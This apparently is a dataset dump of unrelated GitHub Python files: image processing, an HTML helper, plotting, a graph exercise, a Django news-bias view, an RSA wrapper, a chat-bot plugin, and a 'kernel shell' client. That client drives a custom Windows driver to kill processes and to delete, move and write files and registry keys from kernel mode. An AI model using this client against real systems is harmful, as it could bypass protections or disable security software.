1:\n\tf.setViewer()\n\tf.setPlayer()\n\tf.navUpdate()\n\tmat = arMaterial();\n\tmat.diffuse = arVector3(random.random(), random.random(), random.random())\n\tm.set(mat)\n\tf.loadNavMatrix()\n\ttime.sleep(0.01)\n","repo_name":"IllinoisSimulatorLab/szg","sub_path":"python_sip/demo/myriad/peer.py","file_name":"peer.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"18549248557","text":"\"\"\"\nZ-projection through focus stacking was adapted from the following source:\nhttps://github.com/cmcguinness/focusstack\n\n\"\"\"\n\nimport re\nfrom typing import Optional, Sequence, Callable, Tuple\nimport numbers\nimport numpy.typing as npt\nimport numpy as np\nimport cv2\n\nfrom . import defs\nfrom .helper import get_img_paths\n\nZPOS_PATTERN = \"(z|Z)[0-9]+_\"\n\ndef default_get_zpos(z_path: str) -> int:\n \"\"\"Use `ZPOS_PATTERN` to retrieve z-position from path string.\n\n Args:\n z_path: The full path or file name of a z-position image\n\n Returns:\n Image z-position as an integer.\n\n \"\"\"\n # Trim the 'Z' from the beginning of the match\n return int(re.search(ZPOS_PATTERN, z_path)[0][1:-1])\n\n\ndef _blur_and_lap(image: npt.NDArray, kernel_size: int=5) -> npt.NDArray:\n \"\"\"Compute Laplacian of a blurred image.\n\n Used to perform edge detection of `image`. A larger kernel size\n will contribute to a Laplacian with higher contrast between foreground\n and background, but less resolution within foreground objects.\n\n Args:\n image: Image on which Laplacian is to be computed.\n kernel_size: Kernel for both the Gaussian blur and the Laplacian.\n\n Returns:\n Laplacian of blurred image.\n \"\"\"\n blurred = cv2.GaussianBlur(image, (kernel_size, kernel_size), 0)\n return cv2.Laplacian(blurred, cv2.CV_64F, ksize=kernel_size)\n\n\ndef zstack_paths_from_dir(z_stack_dir: str, descending: bool=True,\n get_zpos: Optional[Callable[[str], int]]=None) -> Sequence[str]:\n \"\"\"Get sorted z-stack image paths.\n\n Args:\n z_stack_dir: Directory where z-stack images are located.\n descending: Whether z-position index is numbered from top to bottom\n or bottom to top. For example, descending means z-position 3 is\n located _above_ z-position 2.\n get_zpos: A function to sort the z-position images. Must take in a\n z-position image name and return that image's z-position. The\n z-position is used to sort the z-stack.\n\n Returns:\n A list of the full paths to each z-poistion image\n in the z-stack (sorted by z-position)\n\n \"\"\"\n z_paths = get_img_paths(z_stack_dir)\n if get_zpos is None:\n get_zpos = default_get_zpos\n sorted_z_paths = sorted(z_paths, key = get_zpos, reverse = descending)\n return sorted_z_paths\n\n\ndef proj_focus_stacking(\n stack: npt.NDArray, axis: int=0, kernel_size:int=5\n) -> npt.NDArray:\n \"\"\"Project image stack along given axis using focus stacking.\n\n This procedure projects an image stack by retaining the maximum\n sharpness pixels.\n\n `stack` must be grayscale (8-bit), or will be converted.\n\n Args:\n stack: Image stack.\n axis: The axis to project along (defaults to z)\n kernel_size: Kernel size to be passed to `_blur_and_lap`.\n\n Returns:\n Focus stack projection of image stack as grayscale (8-bit) image.\n\n \"\"\"\n if stack.dtype != np.uint8:\n stack = stack.round().astype(np.uint8)\n\n # We do not perform the alignment step which is typically included,\n # since each image in the stack is assumed to be an in-focus cross-section.\n\n # Compute Laplacian for each slice in stack to measure the sharpness of each pixel.\n # Assign each output pixel with the value in the stack with the largest magnitude sharpness.\n\n maxima = np.zeros(stack[0].shape, dtype=np.float64)\n masks = []\n\n for pos in stack:\n abs_laplacian = np.absolute(_blur_and_lap(pos, kernel_size))\n maxima = np.max(np.array([maxima, abs_laplacian]), axis=axis)\n masks.append((abs_laplacian == maxima).astype(np.uint8))\n\n output = np.zeros_like(stack[0])\n\n for i, z_img in enumerate(stack):\n output = cv2.bitwise_not(z_img, output, mask=masks[i])\n\n return defs.MAX_UINT8 - output\n\n\ndef proj_avg(stack: npt.NDArray, axis: int=0, dtype=np.uint8) -> npt.NDArray:\n \"\"\"Project image stack along given axis using average pixel intensity.\n\n Args:\n stack: Image stack.\n axis: The axis to project along (defaults to z)\n dtype: The output datatype.\n\n Returns:\n Average projection of image stack.\n\n \"\"\"\n proj = np.mean(stack, axis=axis)\n if issubclass(dtype, numbers.Integral):\n return proj.round().astype(dtype)\n return proj.astype(dtype)\n\n\ndef proj_med(stack: npt.NDArray, axis: int=0, dtype=np.uint8) -> npt.NDArray:\n \"\"\"Project image stack along given axis using median pixel intensity.\n\n Args:\n stack: Image stack.\n axis: The axis to project along (defaults to z)\n dtype: The output datatype.\n\n Returns:\n Median projection of image stack.\n\n \"\"\"\n\n proj = np.median(stack, axis=axis)\n if issubclass(dtype, numbers.Integral):\n return proj.round().astype(dtype)\n return proj.astype(dtype)\n\n\ndef proj_max(stack: npt.NDArray, axis: int=0, dtype=np.uint8) -> npt.NDArray:\n \"\"\"Project image stack along given axis using maximum pixel intensity.\n\n Args:\n stack: Image stack.\n axis: The axis to project along (defaults to z)\n dtype: The output datatype.\n\n Returns:\n Maximum projection of image stack.\n\n \"\"\"\n\n proj = np.max(stack, axis=axis)\n if issubclass(dtype, numbers.Integral):\n return proj.round().astype(dtype)\n return proj.astype(dtype)\n\n\ndef proj_min(stack: npt.NDArray, axis: int=0, dtype=np.uint8) -> npt.NDArray:\n \"\"\"Project image stack along given axis using minimum pixel intensity.\n\n Args:\n stack: Image stack.\n axis: The axis to project along (defaults to z)\n dtype: The output datatype.\n\n Returns:\n Minimum projection of image stack.\n\n \"\"\"\n\n proj = np.min(stack, axis=axis)\n if issubclass(dtype, numbers.Integral):\n return proj.round().astype(dtype)\n return proj.astype(dtype)\n","repo_name":"fogg-lab/tissue-model-analysis-tools","sub_path":"src/fl_tissue_model_tools/zstacks.py","file_name":"zstacks.py","file_ext":"py","file_size_in_byte":5863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"69822540946","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom .common import _copyB, fact\nfrom bs4 import BeautifulSoup\nfrom telegram_util import matchKey\n\ndef _tagReplace(soup, args = {}):\n\twrap_with_i = [\n\t\tsoup.find_all(\"div\"),\n\t\tsoup.find_all(\"span\"),\n\t\tsoup.find_all(\"p\"),\n\t]\n\tfor l in wrap_with_i:\n\t\tfor item in l:\n\t\t\tattrs = str(item.attrs)\n\t\t\tattrs = attrs.replace(\": \", \":\")\n\t\t\tif 'font-style:italic' in attrs:\n\t\t\t\twrapper = fact().new_tag(\"i\")\n\t\t\t\twrapper.append(_copyB(item))\n\t\t\t\titem.replace_with(wrapper)\n\twrap_with_p = [\n\t\tsoup.find_all(\"div\", class_=\"article-paragraph\"),\n\t\tsoup.find_all(\"section\"),\n\t\t[x for x in soup.children if isinstance(x, str) and x[:3] != 'doc'],\n\t]\n\tfor l in wrap_with_p:\n\t\tfor item in l:\n\t\t\twrapper = fact().new_tag(\"p\")\n\t\t\twrapper.append(_copyB(item))\n\t\t\titem.replace_with(wrapper)\n\tfor l in soup.find_all(\"p\"):\n\t\tchildren = list(l.children)\n\t\tif len(children) >= 1 and isinstance(children[0], str):\n\t\t\tchildren[0].replace_with(children[0].lstrip())\n\t\tif len(children) != 1 or not isinstance(children[0], str):\n\t\t\tcontinue\n\t\tto_replace = None\n\t\tif l.parent.name == 'blockquote': # douban status specific\n\t\t\tto_replace = l.parent\n\t\tif matchKey(str(l.parent.attrs), ['review-content', 'note']): # douban reviews.notes specific\n\t\t\tto_replace = l\n\t\tif not to_replace or len(list(to_replace.children)) != 1:\n\t\t\tcontinue\n\t\tparagraphs = ''.join(['

    %s

    ' % x for x in children[0].split('\\n') \n\t\t\tif x.strip()])\n\t\tto_replace.replace_with(BeautifulSoup(\"

    %s

    \" % paragraphs, features=\"lxml\"))\n\tif args.get('list_replace'):\n\t\tto_remove_tags = [\n\t\t\tsoup.find_all(\"li\"),\n\t\t\tsoup.find_all(\"ul\")\n\t\t]\n\t\tfor l in to_remove_tags:\n\t\t\tfor item in l:\n\t\t\t\titem.name = p\n\treturn soup","repo_name":"Political-deCeit/telegraph-export","sub_path":"telegraph_export/tag_replace.py","file_name":"tag_replace.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16495745592","text":"import pyqtgraph as pg\nfrom pyqtgraph.Qt import QtCore\nimport numpy as np\nimport pandas as pd\n\ndatafile = \"loggedlux.txt\"\n\napp = pg.mkQApp(\"VEML7700 Signal Plotter\")\nwin = pg.GraphicsLayoutWidget(show=True, title=\"VEML7700 Signal Plotter\")\nwin.resize(1000, 600)\nwin.setWindowTitle(\"VEML7700 Signal Plotter\")\n\npg.setConfigOptions(antialias=True)\n\nplotter = win.addPlot()\nplotter.showGrid(x=True, y=True)\nplotter.setLabel('bottom', 'Time', units='s')\nplotter.setLabel('left', 'Intensity', units='arb.')\n\ncurve = plotter.plot(pen='g')\n\ndef update():\n global plotter\n global y\n\n\n data = pd.read_csv(datafile, header=None, skiprows=1)\n\n curve.setData(data[0], data[1])\n\ntimer = QtCore.QTimer()\ntimer.timeout.connect(update)\ntimer.start(1000)\n\nif __name__ == '__main__':\n pg.exec()\n","repo_name":"Arcturus314/VEML7700_readout","sub_path":"pythonplotter.py","file_name":"pythonplotter.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70096205266","text":"from time import sleep\ncasa = float(input('Valor da casa: R$'))\nsalario = float(input('Salário do comprador: R$'))\nfin = float(input('Quantos anos de financiamento? '))\n\nmes = fin*12\npar = casa / mes\nprint('Para pagar uma casa de R${:.2f} em {} anos, a prestação será de R${:.2f}.'.format(casa, fin, par))\nsleep(0.5)\nif par < 0.3*salario:\n print('Emprestimo pode ser \\033[32mCEDIDO\\033[m !')\n\nelse:\n print('Empréstimo \\033[31mNEGADO\\033[m !')","repo_name":"LeviTessari/studies","sub_path":"python/Curso em video/ex036.py","file_name":"ex036.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41682753676","text":"import sys\nsys.stdin = open(\"8_input.txt\",\"r\")\n\ndef dfs(start, group) :\n visited[start] = group # 노드에 group값을 주고\n\n for node in graph[start] :\n if not visited[node] : # 아직 방문하지 않았다면 방문을 하는데\n a = dfs(node, -group) # -group값으로 주는 이유는 \n if not a :\n return False\n elif visited[node] == visited[start] :\n return False\n return True\n\nk = int(input())\n\nfor _ in range(k) :\n v, e = map(int, sys.stdin.readline().strip().split())\n graph = [[] for _ in range(v+1)]\n visited = [False] *(v+1)\n for _ in range(e) : \n start, end = map(int, sys.stdin.readline().strip().split())\n graph[start].append(end)\n graph[end].append(start)\n \n for i in range(1, v+1) :\n if not visited[i] :\n res = dfs(i, 1)\n if not res :\n break\n print('YES' if res else 'NO')\n\n\n","repo_name":"choidabom/week03_Team2","sub_path":"1707/1707_mgs.py","file_name":"1707_mgs.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"10254972492","text":"from django.shortcuts import render\nfrom .forms import SearchForm\nfrom .models import Article\n\nfrom plotly.offline import plot\nfrom plotly.graph_objs import Scatter\n\nfrom chartit import DataPool, Chart, PivotDataPool, PivotChart\nfrom django.db.models import Avg, Sum, Count\n\nfrom bokeh.plotting import figure\nfrom bokeh.embed import components\nfrom bokeh.models import HoverTool, LassoSelectTool, WheelZoomTool, PointDrawTool, ColumnDataSource\nfrom bokeh.palettes import Category20c, Spectral6\nfrom bokeh.transform import cumsum\nimport numpy as np\nfrom numpy import pi\nimport pandas as pd\nfrom bokeh.resources import CDN\nfrom datetime import datetime as dt\n\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nimport matplotlib as plt\nimport io\nimport urllib, base64\n\n# Create your views here.\n\ndef index(request): \n \"\"\"The home page for news_site.\"\"\"\n\n if request.method != \"POST\":\n #No data submitted: render home page\n form = SearchForm()\n\n #Display a blank form\n context = {\n \"form\": form,\n }\n\n return render(request, \"news_site/index.html\", context)\n\n# BOKEH DEMO\ndef results(request):\n disease_query = request.GET.get(\"disease\").lower()\n\n ### POLARITY VS. DATE ###\n # NYT Data\n polarity_nyt = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='nytimes.com').values_list(\"polarity\", flat=True)\n date_nyt = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='nytimes.com').values_list(\"date\", flat=True)\n polar_list_nyt = polarity_nyt\n date_list_nyt = [dt.strptime(d,'%Y-%m-%d') for d in date_nyt]\n nyt_dict = dict(zip(date_list_nyt, polar_list_nyt))\n nyt_dates, nyt_polarity = nyt_dict.keys(), nyt_dict.values()\n \n # PBS Data\n polarity_pbs = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='pbs.org').values_list(\"polarity\", flat=True)\n date_pbs = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='pbs.org').values_list(\"date\", flat=True)\n polar_list_pbs = polarity_pbs\n date_list_pbs = [dt.strptime(d,'%Y-%m-%d') for d in date_pbs]\n pbs_dict = dict(zip(date_list_pbs, polar_list_pbs))\n\n # Remove outlier date\n if disease_query == 'swine flu':\n for k, v in list(pbs_dict.items()):\n if k > dt(2012,1,1):\n pbs_dict.pop(k)\n\n pbs_dates, pbs_polarity = pbs_dict.keys(), pbs_dict.values()\n\n # CNN Data\n polarity_cnn = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='cnn.com').values_list(\"polarity\", flat=True)\n date_cnn = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='cnn.com').values_list(\"date\", flat=True)\n polar_list_cnn = polarity_cnn\n date_list_cnn = [dt.strptime(d,'%Y-%m-%d') for d in date_cnn]\n cnn_dict = dict(zip(date_list_cnn, polar_list_cnn))\n cnn_dates, cnn_polarity = cnn_dict.keys(), cnn_dict.values()\n\n title = 'Media Polarity Over Time - ' + disease_query.title()\n\n p = figure(title=title, \n x_axis_label = 'Date',\n y_axis_label = 'Polarity Score',\n x_axis_type = 'datetime',\n plot_width = 800,\n plot_height = 300,)\n\n p.title.text_font_size = '16pt'\n\n p.line(list(nyt_dates), list(nyt_polarity), legend='NYT', color='blue', line_width = 2)\n p.line(list(pbs_dates), list(pbs_polarity), legend='PBS', color='green', line_width = 2)\n p.line(list(cnn_dates), list(cnn_polarity), legend='CNN', color='red', line_width = 2)\n\n # p.add_tools(HoverTool(renderers=[p]))\n\n p.legend.location = \"top_left\"\n\n script, div = components(p)\n\n ### SUBJECTIVITY VS. DATE ###\n # NYT Data\n subj_nyt = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='nytimes.com').values_list(\"subjectivity\", flat=True)\n date_nyt = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='nytimes.com').values_list(\"date\", flat=True)\n subj_list_nyt = subj_nyt\n date_list_nyt = [dt.strptime(d,'%Y-%m-%d') for d in date_nyt]\n nyt_dict = dict(zip(date_list_nyt, subj_list_nyt))\n\n # remove 0 subjectivity values\n for k, v in list(nyt_dict.items()):\n if v == 0 or v == 1:\n nyt_dict.pop(k)\n\n nyt_dates, nyt_subj = nyt_dict.keys(), nyt_dict.values()\n \n # PBS Data\n subj_pbs = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='pbs.org').values_list(\"subjectivity\", flat=True)\n date_pbs = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='pbs.org').values_list(\"date\", flat=True)\n subj_list_pbs = subj_pbs\n date_list_pbs = [dt.strptime(d,'%Y-%m-%d') for d in date_pbs]\n pbs_dict = dict(zip(date_list_pbs, subj_list_pbs))\n \n # remove 0 subjectivity values\n for k, v in list(pbs_dict.items()):\n if v == 0 or v == 1:\n pbs_dict.pop(k)\n \n pbs_dates, pbs_subj = pbs_dict.keys(), pbs_dict.values()\n\n # CNN Data\n subj_cnn = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='cnn.com').values_list(\"subjectivity\", flat=True)\n date_cnn = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='cnn.com').values_list(\"date\", flat=True)\n subj_list_cnn = subj_cnn\n date_list_cnn = [dt.strptime(d,'%Y-%m-%d') for d in date_cnn]\n cnn_dict = dict(zip(date_list_cnn, subj_list_cnn))\n \n # remove 0 subjectivity values\n for k, v in list(cnn_dict.items()):\n if v == 0 or v == 1:\n cnn_dict.pop(k)\n \n cnn_dates, cnn_subj = cnn_dict.keys(), cnn_dict.values()\n\n title = 'Media Subjectivity Over Time - ' + disease_query.title()\n\n p2 = figure(title=title, \n x_axis_label = 'Date',\n y_axis_label = 'Subjectivity Score',\n x_axis_type = 'datetime',\n plot_width = 800,\n plot_height = 300,)\n\n p2.title.text_font_size = '16pt'\n\n p2.line(list(nyt_dates), list(nyt_subj), legend='NYT', color='blue', line_width = 2)\n p2.line(list(pbs_dates), list(pbs_subj), legend='PBS', color='green', line_width = 2)\n p2.line(list(cnn_dates), list(cnn_subj), legend='CNN', color='red', line_width = 2)\n\n p2.legend.location = \"top_left\"\n\n script2, div2 = components(p2)\n\n\n ### Article Volume ###\n nyt_data = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='nytimes.com')\n pbs_data = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='pbs.org')\n cnn_data = Article.objects.order_by('date').filter(disease__icontains=disease_query, source__icontains='cnn.com')\n\n x = {\n 'NYT': len(nyt_data),\n 'PBS': len(pbs_data),\n 'CNN': len(cnn_data)\n }\n\n data = pd.Series(x).reset_index(name='value').rename(columns={'index':'Source'})\n data['angle'] = data['value']/data['value'].sum() * 2*pi\n data['color'] = ['blue','green','red']\n\n title = 'Article Volume By Source - ' + disease_query.title()\n\n p3 = figure(plot_height=350, title=title, toolbar_location=None,\n tools=\"hover\", tooltips=\"@Source: @value\",)\n\n p3.wedge(x=0, y=1, radius=0.4,\n start_angle=cumsum('angle', include_zero=True), end_angle=cumsum('angle'),\n line_color=\"white\", fill_color='color', legend_field='Source', source=data)\n\n p3.title.text_font_size = '16pt'\n\n script3, div3 = components(p3)\n\n # Disease description dataframe\n descriptions_df = pd.DataFrame()\n descriptions_df['name'] = ['coronavirus', 'swine flu']\n descriptions_df['description'] = ['Coronavirus disease (COVID-19) is an infectious disease caused by a newly discovered coronavirus. Most people infected with the COVID-19 virus will experience mild to moderate respiratory illness and recover without requiring special treatment. Older people, and those with underlying medical problems like cardiovascular disease, diabetes, chronic respiratory disease, and cancer are more likely to develop serious illness. The COVID-19 virus spreads primarily through droplets of saliva or discharge from the nose when an infected person coughs or sneezes. At this time, there are no specific vaccines or treatments for COVID-19.', \n 'Swine Flu (aka Swine Influenza, H1N1): In the spring of 2009, a novel influenza A (H1N1) virus emerged. It was detected first in the United States and spread quickly across the United States and the world. This new H1N1 virus contained a unique combination of influenza genes not previously identified in animals or people. This virus was designated as influenza A (H1N1) pdm09 virus.']\n descriptions_df['deaths'] = ['As of May 8th 2020, there are 1.31 million confirmed cases and 77 thousand deaths in the United States. Globally, there are 3.9 million cases and 272 thousand deaths.',\n 'From April 12, 2009 to April 10, 2010, CDC estimated there were 60.8 million cases (range: 43.3-89.3 million), 274,304 hospitalizations (range: 195,086-402,719), and 12,469 deaths (range: 8868-18,306) in the United States due to the (H1N1)pdm09 virus. Additionally, CDC estimated that 151,700-575,400 people worldwide died from (H1N1)pdm09 virus infection during the first year the virus circulated.']\n \n if disease_query.lower() in list(descriptions_df['name']):\n div_descript = descriptions_df[ descriptions_df['name'] == disease_query ]['description'].values[0]\n div_deaths = descriptions_df[ descriptions_df['name'] == disease_query ]['deaths'].values[0]\n else:\n div_descript = 'No results found. Please search again.'\n div_deaths = ''\n\n heading = \"Bias Results - \" + disease_query.title()\n\n # # Word cloud\n # stopwords = list(STOPWORDS)\n # adtn = ['associated','press','how','—', 'said', 'will', 'one', 'said.', \"it's\", 'says', 'may', 'hi', 'wa', '...', 'watch:', 'coronavirus,', 'say', 'ha', 'thi', '\\x97', '-', '|', '04', 'de', 'sam', '.', \"flu:\", 'news:', \"cnn's\"]\n # for i in adtn:\n # stopwords.append(i)\n # word_data = Article.objects.filter(disease__icontains=disease_query).values_list('text', flat=True)\n\n # text = \" \".join(text for text in word_data)\n # wc = WordCloud(stopwords=stopwords, max_words=10).generate(text)\n # plt.figure()\n # plt.imshow(wc, interpolation='bilinear')\n # plt.axis('off')\n # fig = plt.gcf()\n # image = io.BytesIO()\n # plt.savefig(image, format='png')\n # image.seek(0)\n # string = base64.b64encode(image.read())\n\n # image_64 = 'data:image/png;base64' + urllib.parse.quote(string)\n\n # Article search results\n qs = Article.objects.filter(disease__icontains=disease_query).order_by('-date')\n form = SearchForm()\n\n # Rendering context\n context = {'script': script, 'div':div, 'script2': script2,\n 'div2':div2, 'script3': script3, 'div3':div3, \n 'div_descript':div_descript, 'div_deaths':div_deaths, \n 'heading':heading, \n 'form': form,\n 'queryset':qs}\n\n return render(request, 'news_site/results.html' , context)","repo_name":"andrewjchung/covid-news-bias","sub_path":"news_site/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70901278867","text":"import argparse\nimport ctypes\nimport psutil\n\nfrom driver import (\n CtlCode,\n RegType,\n device_io_ctl,\n format_dos_device,\n encode_string,\n map_registry_path,\n)\n\n\ndef test():\n input_buffer = ctypes.c_ulong(1)\n device_io_ctl(\n CtlCode.IOCTL_KSH_TEST, ctypes.byref(input_buffer), ctypes.sizeof(input_buffer)\n )\n\n\ndef pkill(pid):\n input_buffer = ctypes.c_ulong(pid)\n device_io_ctl(\n CtlCode.IOCTL_KSH_PKILL, ctypes.byref(input_buffer), ctypes.sizeof(input_buffer)\n )\n\n\ndef rm(path):\n path = format_dos_device(path)\n input_buffer = ctypes.create_unicode_buffer(path)\n device_io_ctl(\n CtlCode.IOCTL_KSH_REMOVE_FILE, input_buffer, ctypes.sizeof(input_buffer)\n )\n\n\ndef cp(source, dest):\n source = encode_string(format_dos_device(source))\n dest = encode_string(format_dos_device(dest))\n input_buffer = ctypes.create_string_buffer(source + dest)\n device_io_ctl(\n CtlCode.IOCTL_KSH_COPY_FILE, input_buffer, ctypes.sizeof(input_buffer)\n )\n\n\ndef mv(source, dest):\n source = encode_string(format_dos_device(source))\n dest = encode_string(format_dos_device(dest))\n input_buffer = ctypes.create_string_buffer(source + dest)\n device_io_ctl(\n CtlCode.IOCTL_KSH_MOVE_FILE, input_buffer, ctypes.sizeof(input_buffer)\n )\n\n\ndef regedit(reg_type, data, key, value):\n reg_data = RegType.encode_buffer(reg_type, data)\n reg_key = encode_string(map_registry_path(key))\n reg_value = encode_string(value)\n input_buffer = ctypes.create_string_buffer(reg_data + reg_key + reg_value)\n device_io_ctl(CtlCode.IOCTL_KSH_REGEDIT, input_buffer, ctypes.sizeof(input_buffer))\n\n\ndef main(args):\n if args.command == \"test\":\n test()\n elif args.command == \"pkill\":\n if args.name:\n for proc in psutil.process_iter():\n if proc.name() == args.name:\n args.pid = proc.pid\n break\n if args.pid is None:\n raise Exception(\"Process not found\")\n pkill(args.pid)\n elif args.command == \"rm\":\n rm(args.path)\n elif args.command == \"cp\":\n cp(args.source, args.destination)\n elif args.command == \"mv\":\n mv(args.source, args.destination)\n elif args.command == \"regedit\":\n regedit(args.reg_type, args.data, args.key, args.value)\n else:\n raise Exception(\"Invalid command\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n prog=\"ksh\", description=\"Kernel Shell\", epilog=\"Use with caution\"\n )\n subparsers = parser.add_subparsers(dest=\"command\", help=\"Command to be executed\")\n\n parser_test = subparsers.add_parser(\"test\", help=\"Test if the driver is working\")\n\n parser_pkill = subparsers.add_parser(\"pkill\", help=\"Kill a process by PID or name\")\n group_pkill = parser_pkill.add_mutually_exclusive_group(required=True)\n group_pkill.add_argument(\"-p\", \"--pid\", type=int, help=\"PID of the process to kill\")\n group_pkill.add_argument(\n \"-n\", \"--name\", type=str, help=\"Name of the process to kill\"\n )\n\n parser_rm = subparsers.add_parser(\"rm\", help=\"Remove a file\")\n parser_rm.add_argument(\"path\", type=str, help=\"Path of the file to remove\")\n\n parser_cp = subparsers.add_parser(\"cp\", help=\"Copy a file\")\n parser_cp.add_argument(\"source\", type=str, help=\"Path of the file to copy\")\n parser_cp.add_argument(\"destination\", type=str, help=\"Path of the destination file\")\n\n parser_mv = subparsers.add_parser(\"mv\", help=\"Move a file\")\n parser_mv.add_argument(\"source\", type=str, help=\"Path of the file to move\")\n parser_mv.add_argument(\"destination\", type=str, help=\"Path of the destination file\")\n\n parser_regedit = subparsers.add_parser(\n \"regedit\", help=\"Edit (or create) registry keys\"\n )\n parser_regedit.add_argument(\n \"--reg-type\",\n \"-t\",\n type=str,\n required=True,\n choices=[\"REG_DWORD\", \"REG_QWORD\", \"REG_SZ\"],\n help=\"Type of the registry key\",\n )\n parser_regedit.add_argument(\n \"--key\", \"-k\", type=str, required=True, help=\"Path of the registry key\"\n )\n parser_regedit.add_argument(\n \"--value\", \"-v\", type=str, required=True, help=\"Value of the registry key\"\n )\n parser_regedit.add_argument(\n \"--data\",\n \"-d\",\n type=str,\n required=True,\n help=\"Data to store inside the registry key\",\n )\n\n main(parser.parse_args())\n","repo_name":"apetenchea/ksh","sub_path":"ksh.py","file_name":"ksh.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70434862226","text":"import base64\nfrom algorithm import Algorithm\nfrom Crypto.PublicKey import RSA as rsa\nfrom Crypto.Cipher import PKCS1_OAEP\n\nclass RSA(Algorithm):\n def __init__(self, name, klen):\n super().__init__(name)\n self.params[\"klen\"] = klen\n self.asymmetric = True\n\n def key_generation(self, **kwargs):\n klen = self.params[\"klen\"]\n key = rsa.generate(klen)\n private_key = key\n public_key = key.publickey()\n self.keypair[\"private\"] = private_key\n self.keypair[\"public\"] = public_key\n\n def print_keypair(self):\n private = self.keypair[\"private\"].export_key()\n public = self.keypair[\"public\"].export_key()\n print (\"Print {}'s keypair ===\".format(self.name))\n print (\" - private key: {}\".format(private))\n print (\" - public key: {}\".format(public))\n\n def encryption(self, **kwargs):\n if not \"plaintext\" in kwargs:\n encrypted = None\n else:\n plaintext = kwargs[\"plaintext\"]\n public = self.keypair[\"public\"]\n oaep = PKCS1_OAEP.new(public)\n encrypted = base64.b64encode(oaep.encrypt(plaintext.encode())).decode()\n return encrypted\n\n def decryption(self, **kwargs):\n if not \"ciphertext\" in kwargs:\n decrypted = None\n else:\n ciphertext = kwargs[\"ciphertext\"]\n private = self.keypair[\"private\"]\n oaep = PKCS1_OAEP.new(private)\n decrypted = oaep.decrypt(base64.b64decode(ciphertext)).decode()\n return decrypted\n","repo_name":"hw5773/security","sub_path":"framework/rsa.py","file_name":"rsa.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16952714719","text":"import os\nimport sys\nimport base64\nfrom io import BytesIO\nfrom urllib import request\n\nfrom core.MsgTool import MsgTool as MT\nfrom core.Plugin import Plugin\n\nfrom PIL import Image, ImageDraw,ImageFont\n\n\"\"\"\n在下面加入你自定义的插件,自动加载本文件所有的 Plugin 的子类\n只需要写一个 Plugin 的子类,重写 match() 和 handle()\nmatch() 返回 True 则自动回调 handle()\n\"\"\"\n\nclass TestPlugin(Plugin):\n def match(self):\n if self.context[\"post_type\"] != \"message\":\n return False\n self.my_text = MT.get_text_from_msg(self.context[\"message\"])\n return self.my_text.startswith(\"#朋友\")\n\n def handle(self):\n cont = self.my_text[len(\"#朋友\"):]\n the_at = MT.get_at_from_msg(self.context[\"message\"])\n url = \"http://q1.qlogo.cn/g?b=qq&nk=\" + the_at + \"&s=640\"\n req = request.Request(url)\n res = request.urlopen(req).read()\n temp_tou = BytesIO(res)\n bg_size = (600, 253)\n bg = Image.new('RGB', bg_size, color=(245,245,245))\n current_dir = os.path.dirname(__file__) # 获得当前目录\n avatar_size = (155, 155) \n avatar = Image.open(temp_tou)\n avatar = avatar.resize(avatar_size)\n mask = Image.new('RGBA', avatar_size, color=(0,0,0,0))\n mask_draw = ImageDraw.Draw(mask)\n mask_draw.ellipse((0,0, avatar_size[0], avatar_size[1]), fill=(0,0,0,255))\n x, y = 45,45\n box = (x, y, (x + avatar_size[0]), (y + avatar_size[1]))\n bg.paste(avatar, box, mask)\n # path_to_ttf = os.path.join(current_dir,\"fz.ttf\")\n if sys.platform == \"win32\":\n font_path = \"simsun.ttc\"\n else:\n font_path = \"/usr/share/fonts/font/simsun.ttc\"\n path_to_ttf = font_path\n font = ImageFont.truetype(path_to_ttf, size=38)\n font2 = ImageFont.truetype(path_to_ttf, size=36)\n draw = ImageDraw.Draw(bg)\n draw.text(xy=(210,110-38),text='朋友',font=font,fill = (0, 0, 0))\n draw.text(xy=(210,170-35),text = cont,font=font,fill = (190, 190, 190))\n img_path = os.path.join(current_dir,\"out.jpg\")\n buffer = BytesIO()\n bg.save(buffer,format=\"JPEG\")\n myimage = buffer.getvalue()\n self.send_msg(MT.at(self.context[\"user_id\"]), MT.image(\"base64://\" + base64.b64encode(myimage).decode()))\n \n","repo_name":"super1207/myvoidbot","sub_path":"plus/myfriend_plus/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} 